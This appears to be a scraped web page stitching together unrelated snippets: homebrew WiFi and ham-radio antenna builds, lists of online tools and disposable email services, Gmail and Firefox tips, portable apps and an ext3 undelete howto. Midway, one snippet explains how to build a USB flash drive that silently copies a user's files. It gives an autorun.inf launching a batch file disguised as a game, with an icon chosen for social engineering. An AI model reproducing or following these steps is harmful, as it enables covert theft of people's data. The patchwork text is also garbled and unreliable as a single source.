background preloader

Homebrew antenna shootout

Homebrew antenna shootout
The Shootout My plan was to get relative performance measurements for various designs (including mine) of homebrew antennas for 802.11b (WiFi) wireless networks. To do this, I setup a wireless link and changed only the antenna- recording each antennas' performance under identical conditions. I didn't compare them to a commercial directional antenna as my only one has a male connector and I don't have the right cable to hook it up yet. The contestants were (click on each for design specifications). The Performance Summary The results surprised me! Of the waveguides, the Nalley's "Big Chunk" took top marks. With these results, I'm convinced that the waveguide design is the way to go for cheap wireless networking. The How To Build your own Tin Can Waveguide WiFi Antenna (Cantenna). Copyright 2003-2007 Gregory Rehm - All rights reserved.

Improved Dutch helix/helical for WLan Improved Helical Antenna Design for 802.11b WLAN By: PA0HOO October the 17th 2002 To slow? Dutch English N.B: (Click here to jump to the improved PVC helix design) Preface The weekend of October the 17th 2002 we tried to set up an 802.11b WLAN radio link over just 200m. The radio path 'Direct sight', seen from the roof. As we had to bridge about 200 m, an external antenna was a must. Making your own path calculation Click here to calculate the distance you can bridge with a given antenna. The connections for the external antennas These pictures show how the external antenna connections were made. Our experience: PTFE cables don't melt while soldering. 'The Antenna'At the site of Remco PA3FYM we found the perfect construction description of a classical helix antenna, using today's materials. The DisappointmentIt was very disappointing to find out that 'the thingy' we made wasn't performing at all. The dimension were OK, all sizes were according to the known formulas. The design The making The test

15 Online Tools that You Will Come to Love as a Tech | EmergingT I have compiled a list of 15 free online tools that will help you greatly as a tech. I’m sure that there are other good ones that I have left out so please feel free to post the ones that you like as well. IPTools offers a wide variety of online networking tools. With this site you can look up IP address information, check spam databases, run pings, run traceroutes, lookup WHOIS information and much more. BugMeNot allows you to find and share logins for sites that require you to register. allows you to test your Internet connection speed. is a social bookmarking site that allows you to bookmark sites and view them from any computer. Omnidrive is an online storage service that allows you to upload large files, access them from any computer, and share them with other people. 10 Minute Mail allows you to create temporary email addresses that expire after 10 minutes. Free Password GeneratorFree Password Generator generates very strong and unique passwords.

helical/helix antenna 2.4 GHz HOWTO Gmail Tips - The Complete Collection Gmail Beta: First Impressions The other day, I received an "invitation" to beta test Google's new "Gmail" email service. After having tried and used literally dozens of web-based email services over the years, I decided to see what the buzz was all about, so I followed the Invitation instructions, and within a couple minutes, I had a new Google Gmail account. First off, please note that this article is based on the pre-release beta of Gmail, so presumably, the public release will have additions, changes, and improvements. Webmail While Web-based email is nothing new, Gmail introduces some new and unique concepts. But why use Webmail when I have a good client in Outlook? I'm going to first walk you through some of the "features" that make up Gmail. Advertising Let's start off with the "tough" issue first: Advertising. Gmail does not "read" your email. Google has been extremely open and forthcoming about its privacy policy and process. OK, I'll step down off of my soapbox now. Logging In 1.

Wi-Fi 2.4GHz helical antenna you can build! Wi-Fi point to point helical 2.4GHz antenna you can build! A while ago I thought I'd try my hand at building a 2.4GHz Helical. It was a sobering experience. The first design I tried to duplicate was Jason Heckers. I had read mixed reviews of his design. There was much conjecture regarding the dielectric constant of PVC and it's impact on tuning. The outside diameter was 38mm. Note in this chart that 14db return loss = a minimum target SWR of 1.5:1, 18db = an acceptable SWR of 1.29:1. The actual return loss measurements I got were less than satisfying and, despite claims by others to the contrary, my creation actually resonated higher than the design target, an interesting twist I didn't expect. Forging ahead I performed my gain tests. The best gain I was able to achieve with the helix pointed at the source was only 4 dB over the best half wave signal (4dBd) or 6dBi. Armed with this information my next prototype was based on the W0OQC design. Two things are for certain though.

Introducing EchoLink Copper Cactus J pole antenna - 2 metter 70 Cm dualband 2 meter 70 Cm Copper Cactus J-Pole Antenna Home Brew Dual Band J-Pole Antenna Plans How to Build a Dual-Band Antenna for 2M/70cm? Your going to like this 2/70 Dual Band J-pole Antenna Plans known as the Copper Cactus Dual Band J-Pole, This home-brew j-pole antenna is easy to build and sturdy, While looking for an antenna project to build, I remembered seeing a Marine antenna called the Super J-Pole in the which had db gain over a quarter wave ground plane. I have had very good results working with copper J-Poles, so I built my refined version of the classic J-Pole. Here is a schematic drawing of the dual band j-pole antenna plans ( Click Here ) Word docDimensions j pole PDFPrint Instructions for this J-Pole Here is a nice calculator as well showing the proper lengths for a given frequency. Materials dual band j-pole antenna plans All the materials except the S0239 fitting can be found at any good hardware store, and the whole antenna can be made in less than an hour. Part’s List Tools needed

12 Unique Email Services You Should Know About « Ijaar We all have our regular email accounts on Gmail, Hotmail or any other service of our choice. However, there are times when you don’t want to use your regular email address for one reason or another. For such times, when you need a special type of email, following services can come in very handy to serve your purpose: For all those times when you don’t really want to give out your email address to somebody but you really have to, these disposable email accounts can be very useful. 1. MakeMeTheKing is a disposable email service that has a nice interface. 2. Dodgit allows you to create a receive-only email address that automatically deletes all the messages after 7 days. 3. With MeltMail, you have more control of your disposable email account. For those times when you want to send an email at a later time, there are some very helpful email services that let you schedule your email delivery. 4. DeferredSender allows you to schedule emails from any email service or website. 5. 6. 7. noSPM: 8.

2 meters antennas - XE1BEF WEB PAGE Dotster Call Sales 800-401-5250 Hosting and Email Domains Website Services I Want To ... Start a Website Questions? Awards & Accreditations ICANN Accredited Registrarnameintelligence 2007 Users Choice AwardWebhost Directory Award Winner #1 In Shared HostingBest Budget Host Award by We Dot What You Want © 2016 Dotster. How to make flash drive that copy's users files silently and aut Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Also used to change the thumb drive icon to something more acceptable for social engineering. Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content. [autorun] icon=drive.icoopen=launch.bataction=Click ok to Run game for Windowsshell\open\command=launch.bat a couple of notes the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf look at pic two if you have any issues. You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file.

Do-It-Yourself Wireless Antennas Update and Resource Center Looking for an affordable way to increase the range of your wireless network? Trying to reach dead spots inside or outside a home, sharing a signal with your neighbors, or maybe for a point-to-point link with another network? Are you suffering from weak cell phone (photo) reception? You have come to the right place to extend the range of your wireless device, wireless gaming console, wireless network or connect to other wireless networks in your neighborhood. We discuss the Pringles Cantenna, Coffee Can Antenna, Parabolic Reflector and Antenna Designs.

Portable Applications - All you need is a USB... - Dev Hardware Thanks Jaken.. As a second part of the original post, I am trying to summarize few more applications that can help you in your day-to-day chores. And I cannot emphasize more on having a portable email client that suits all your needs! John Haller loves to build portable applications. Feel like having a calender to keep yourself scheduled?! How can you imagine a computer without virus...errr...anti-virus application?! Clamwin Portable is there to rescue. I would be worried about spywares-adwares more than virus today. Thanks Nilpo for finding me the Firewall I wanted to talk about. For an alternative web browser, you can always try Portable Opera {I am sure itsacon's gonna love this. } Many many people consider Opera far better browser in the universe. Putty is a freeware SSH client. Along with GAIM, you can use Portable Google Talk as a chat client. I think you can also use uTorrent as a portable application. Apart from all these apps, madhyena pointed out tons of good other apps.

Enable Spell Check in Text Fields in Firefox Firefox has its own in-built spell check, but this spell check is available only in Text area and text fields (text boxes) will not show spelling mistakes. Many times blogging titles have spelling mistakes because of this. But a simple trick can activate spell check in text fields as well. Now in the filter field, type the following value- layout.spellcheckDefault The default value of this parameter is 1. NB: In case the spell check is still not enabled, right click on the textbox and enable spell check. HOWTO undelete removed files and directories on an ext3 file system Carlo Wood, Mar 2008 Introduction It happens to everyone sooner or later: a split second after you hit Enter you realize your mistake, but it's too late; you just deleted a valuable file or directory for which no backup exists. Or maybe you have a backup, but it's a month old... and in shock you see the past month flash before your eyes as you realize in pain what you'll have to do all over again... Fortunately, you remember that files are never really deleted, at most overwritten by new content. If you Google for "undelete ext3", almost every article you find will be users asking if it's possible and the answer is every time: no. The most frequently quoted passage comes from the ext3 FAQ itself: Q: How can I recover (undelete) deleted files from my ext3 partition? Actually, you can't! Your only hope is to "grep" for parts of your files that have been deleted and hope for the best. However, this is not necessarily true. What You Should Know Before You Begin How Does EXT3 Store Files? Groups